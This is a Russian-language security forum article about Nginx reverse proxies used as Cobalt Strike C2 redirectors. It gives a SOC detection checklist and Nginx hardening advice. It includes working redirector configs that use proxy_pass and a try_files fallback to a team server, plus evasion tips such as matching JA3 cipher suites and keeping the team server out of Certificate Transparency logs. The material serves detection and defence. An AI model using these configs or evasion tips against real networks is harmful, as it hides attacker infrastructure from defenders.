Статья Nginx reverse proxy: безопасность C2 и detection-чеклист для SOC

Монитор с зелёным свечением фосфора отображает конфигурационный блок Nginx с маршрутом прокси. Янтарный ореол экрана освещает силуэт кофейной чашки в кромешной тьме.


На Red Team engagement прошлого квартала мы шесть недель держали C2-канал Cobalt Strike через два Nginx-redirector'а. Ноль алертов. Трафик маскировался под API-запросы к SaaS-порталу: категоризированный домен, валидный TLS-сертификат от Let's Encrypt, ответы 200 OK с JSON-body. SOC заказчика видел стандартный HTTPS и не дёргался. На postmortem'е выяснилось - команда защиты не знала, какие артефакты оставляет Nginx reverse proxy в роли C2 redirector и что вообще можно вытащить из потока шифрованного трафика без его расшифровки. Ниже - конкретные TTPs, которые мы использовали, артефакты, которые мы оставили, и detection-правила, которые нас бы остановили.
TTs - метод определения поведения и стратегий, которые злоумышленник использует в кибератаке.

Бизнес-логика атаки: место Nginx-redirector в kill chain​

[Применимо: внешний пентест, modern-инфраструктура с web proxy на периметре] Подробнее - в нашем подробном разборе разработка red team инструментов.

Nginx reverse proxy для безопасности C2 работает на этапе Command and Control - имплант уже доставлен и закрепился на хосте. Полная цепочка: initial access (фишинг, эксплуатация периметрового сервиса) → loader/dropper → C2-агент устанавливает обратный канал через redirector -> оператор получает управление -> lateral movement и exfiltration через тот же канал.

По MITRE ATT&CK это конкретные техники:
  • Proxy (T1090, Command and Control) - маршрутизация C2-трафика через промежуточный узел
  • External Proxy (T1090.002) - внешний прокси, прячущий адрес team server'а от netflow-анализа
  • Hide Infrastructure (T1665) - целенаправленное сокрытие инфраструктуры управления
  • Web Protocols (T1071.001) - маскировка C2 под HTTP/HTTPS
  • Encrypted Channel (T1573) - TLS-шифрование канала между имплантом и redirector'ом
Redirector решает три задачи. Первая - сокрытие IP team server'а: Blue Team видит только IP redirector'а, настоящий C2 не фигурирует ни в DNS, ни в netflow. Вторая - устойчивость операции: спалённый redirector заменяется за минуты без потери доступа к имплантам (мы на одном проекте поменяли три штуки за неделю - ни один beacon не отвалился). Третья - обход веб-категоризации: Nginx на redirector'е обслуживает реальный контент для web proxy и sandbox'ов, а C2-трафик идёт по отдельным URI.

Для SOC это означает: IP-адрес из алерта - расходный узел, а не конечная точка. За ним скрывается инфраструктура, которую вы ещё не видите.

Nginx как C2 redirector: TTPs и конфиги атакующих​

1780540754656.webp

URI-маршрутизация через proxy_pass - ядро схемы​

Ключевая механика - директива location с proxy_pass. Nginx разбирает URI входящего запроса и маршрутизирует только определённые пути на team server, остальное - обслуживает как обычный веб-сервер или возвращает redirect на легитимный ресурс.

Конфигурация, адаптированная из практики (аналогичные примеры приводят источники xbz0n.sh и redfoxsec.com):
NGINX:
server {
    listen 443 ssl;
    server_name news-portal.com;
    ssl_certificate     /etc/letsencrypt/live/news-portal.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/news-portal.com/privkey.pem;
    location /api/v2/update {
        proxy_pass https://TEAM_SERVER_IP:443;
        proxy_set_header Host $host;
    }
    location / { return 302 https://www.microsoft.com/; }
}
Запрос на /api/v2/update (URI из Malleable C2 Profile) проксируется на team server. Всё остальное - от сканера, от аналитика SOC, от веб-категоризатора - получает 302-redirect на microsoft.com. Аналитик руками проверил домен, увидел redirect на легитимный ресурс - и закрыл тикет. Видел такое не раз.

Альтернативы Nginx для redirector'ов - Apache mod_rewrite (описывают optiv.com и redfoxsec.com) и Caddy (byt3bl33d3r.substack.com). Apache даёт более гранулярную фильтрацию через RewriteCond/RewriteRule, Caddy проще в настройке и сам управляет TLS без Certbot. Nginx - золотая середина: быстрый, тонкий контроль через location-блоки, жрёт минимум ресурсов на VPS.

Ограничение для атакующего: URI-паттерн зашит и в конфиге Nginx, и в Malleable C2 Profile. Если Blue Team извлечёт profile из памяти процесса импланта - все URI скомпрометированы, redirector становится детектируемым по сигнатуре. Это, кстати, реальный вектор для SOC - но об этом ниже.

try_files - легитимный контент как двойное дно​

Более элегантный подход, описанный coffeegist.com, - try_files. Nginx пытается отдать файл по запрошенному URI; если файла нет на диске - проксирует запрос на C2:
NGINX:
location / {
    try_files $uri $uri/ @c2;
}
location @c2 {
    proxy_pass          https://TEAM_SERVER_IP;
    proxy_ssl_verify    off;
    proxy_set_header    Host $host;
}
Имплант обращается к URI, которого нет на диске (/assets/logo_v3.png) - запрос уходит на team server. Человек или бот запрашивает /index.html - получает реальную страницу с контентом. Домен остаётся категоризированным, SSL-сертификат валидным, визуальная проверка ничего не выдаёт.

Директива proxy_ssl_verify off позволяет team server'у использовать самоподписанный сертификат. Certbot обновляет сертификат только на redirector'е, а team server не светится в логах Certificate Transparency.

Ограничения: try_files создаёт предсказуемый паттерн - все несуществующие URI проксируются. Crafted-запрос к случайному URI, возвращающий не 404, а содержательный ответ - прямая аномалия. И ловится это элементарно, если знать куда смотреть.

TLS-слой: сертификаты и Encrypted Channel​

1780541250453.webp

Атакующие получают сертификаты через Let's Encrypt - Certbot автоматизирует выпуск и обновление. Для SOC это значит: DV-сертификат от Let's Encrypt сам по себе не IOC (половина интернета на них сидит). Но мониторинг Certificate Transparency (CT) позволяет фиксировать момент выпуска сертификата для наблюдаемого домена.

На engagement'ах длиннее 90 дней (по данным coffeegist.com, реальная продолжительность с учётом отчётности достигает 120 дней) сертификат нужно обновлять. Nginx перезагружается через nginx -s reload без прерывания сессий, но в SIEM это видно как смена серийного номера сертификата при сохранении домена и IP. Мелочь, но именно такие мелочи складываются в цепочку.

Detection: как SOC обнаруживает C2 redirector на Nginx​

Требования к окружению для detection:
  • Сетевой сенсор: Zeek 6.x+ или Suricata 7.x с TLS-логированием
  • SIEM: Elastic Security 8.x+, Splunk Enterprise Security, MaxPatrol SIEM или KUMA
  • Доступ к TLS-метаданным: JA3/JA3S-хеши, SNI, серийный номер сертификата
  • Baseline сетевого трафика за 14+ дней (без него beaconing-detection бесполезен)
  • Passive DNS или threat intelligence feed с данными о возрасте доменов

Nginx фильтрация трафика: TLS-аномалии и JA3-отпечатки​

Каждый C2-фреймворк генерирует характерный TLS Client Hello. JA3 - хеш параметров TLS-рукопожатия (версия, cipher suites, extensions). Cobalt Strike Beacon, Sliver, Havoc имеют задокументированные JA3-отпечатки, которые публикуются исследователями и агрегируются в открытых базах.

Что искать в Zeek ssl.log:
  • JA3-хеш из базы C2-отпечатков - прямой IOC. Для Elastic Security: правило корреляции по полю tls.client.ja3 с lookup-таблицей известных хешей
  • Однородность JA3 для домена. Нормальный сайт получает трафик от Chrome, Firefox, Edge - каждый даёт свой JA3. Если к домену ходит один хост с одним JA3 - это аномалия, и довольно яркая
  • Периодичность reconnect'ов. C2-агент с sleep 60 сек и jitter 20% создаёт коннекты каждые 48–72 секунды. В Splunk: группировка по src_ip + dest_domain, вычисление стандартного отклонения интервалов. σ < 5 сек при среднем интервале > 30 сек - сильный индикатор beaconing
Ограничение JA3-detection: продвинутые операторы меняют TLS-параметры через Malleable C2 Profile (Cobalt Strike) или используют фреймворки на Go (Sliver), чей JA3 трудно отличить от легитимных Go-приложений. JA3 - первый фильтр, не финальный вердикт. Мы на нескольких проектах специально подбирали cipher suite под Chrome - и JA3-detection отваливался.

Для Suricata: источник xbz0n.sh описывает правила для обнаружения long-polling HTTPS-соединений - alert на TLS-сессии с аномальной продолжительностью к доменам вне whitelist'а.

Правила корреляции для SIEM: слабый сигнал + слабый сигнал​

1780541399350.webp

Единственное правило не поймает грамотный redirector. Detection строится по принципу цепочки слабых сигналов:
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Nginx security config: hardening для защиты веб-приложений​

Если задача - защитить свои Nginx-инстансы, а не искать чужие redirector'ы, вот конкретные меры с точки зрения nginx upstream proxy безопасности.

Rate limiting. Директива limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s; в контексте http, затем limit_req zone=api burst=20 nodelay; в location. Не WAF, но отсекает automated scanning и brute-force. Ограничение: не спасает от распределённых атак с ротацией IP.

Security headers через add_header:
  • X-Content-Type-Options: nosniff - запрет MIME-sniffing
  • X-Frame-Options: DENY - защита от clickjacking
  • Strict-Transport-Security: max-age=31536000 - принудительный HTTPS
  • Content-Security-Policy - ограничение источников контента (требует тюнинга под приложение, без тестов в production не включать)
Скрытие версии. server_tokens off; убирает версию из заголовка Server. Не мера безопасности в строгом смысле, но убирает low-hanging fruit для автоматических сканеров.

ModSecurity WAF. Интеграция с libmodsecurity3 и OWASP Core Rule Set закрывает injection-атаки (соответствует OWASP A03:2021 - Injection). Ограничение: вносит latency 2–10 мс на запрос, требует тюнинга false positives - в production сначала включите DetectionOnly и погоняйте неделю, иначе положите легитимный трафик.

Контроль proxy_pass. Если Nginx работает как reverse proxy для backend'а - proxy_pass только на конкретные upstream'ы из whitelist'а. Открытый proxy_pass с пользовательской переменной в URI - прямой путь к SSRF.

Detection-чеклист для SOC-аналитика​

Нумерованный список для включения в playbook или передачи на L1/L2:
  1. Проверить JA3-хеши HTTPS-трафика к подозрительному домену - сравнить с базой C2-отпечатков (ja3er.com, Abuse.ch)
  2. Проанализировать периодичность запросов: σ интервалов < 5 сек при среднем > 30 сек = beaconing
  3. Проверить возраст домена через Passive DNS/WHOIS: регистрация < 30 дней + DV-сертификат = повышенный risk score
  4. Отправить crafted-запрос к случайному URI: ответ не-404 от якобы статического сайта = аномалия
  5. Проверить Certificate Transparency логи: ротация сертификатов чаще 1 раза в 60 дней = подозрение
  6. Сопоставить количество уникальных клиентов домена с его категорией: 1 клиент на «News»-домен = аномалия
  7. Проверить заголовки ответа: отсутствие стандартных CDN/сервисных заголовков при заявленной категории
  8. Аудит конфигураций внутренних Nginx: новые location-блоки с proxy_pass на внешние IP = компрометация
  9. Мониторинг nginx -s reload на внутренних серверах через auditd/EDR = индикатор изменения конфигурации
Каждый Red Team engagement, где мы используем Nginx-redirector'ы, заканчивается postmortem'ом. И вот что я наблюдаю раз за разом: SOC-команды, которые ловят нас быстрее всех, не покупают самый дорогой NDR. Они делают одну простую вещь - строят baseline сетевого трафика и ищут отклонения от него. Не сигнатуры конкретного C2, не IP-репутацию (redirector'ы живут дни, фиды не успевают), а поведенческие аномалии: один хост ходит на один URI с метрономной периодичностью. Этого достаточно для первого алерта. Проблема в том, что большинство SOC до сих пор строят detection вокруг endpoint-телеметрии - EDR-агенты, AMSI, EventID 4688 на контроллерах домена. Сетевой уровень остаётся слепым пятном с аргументом «там TLS, содержимое не видно». Содержимое видеть не нужно. JA3, timing, cert metadata, распределение URI по клиентам - всё это доступно без расшифровки и даёт достаточно сигналов для корреляции. Команды, которые это поняли, ловят C2 на вторую-третью неделю. Остальные узнают о компрометации из отчёта Red Team. Если адаптируете detection-правила для прокси-трафика под свой стек - на codeby.net коллеги разбирают подходы к корреляции TLS-метаданных с baseline'ом сетевого трафика для разных SIEM.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab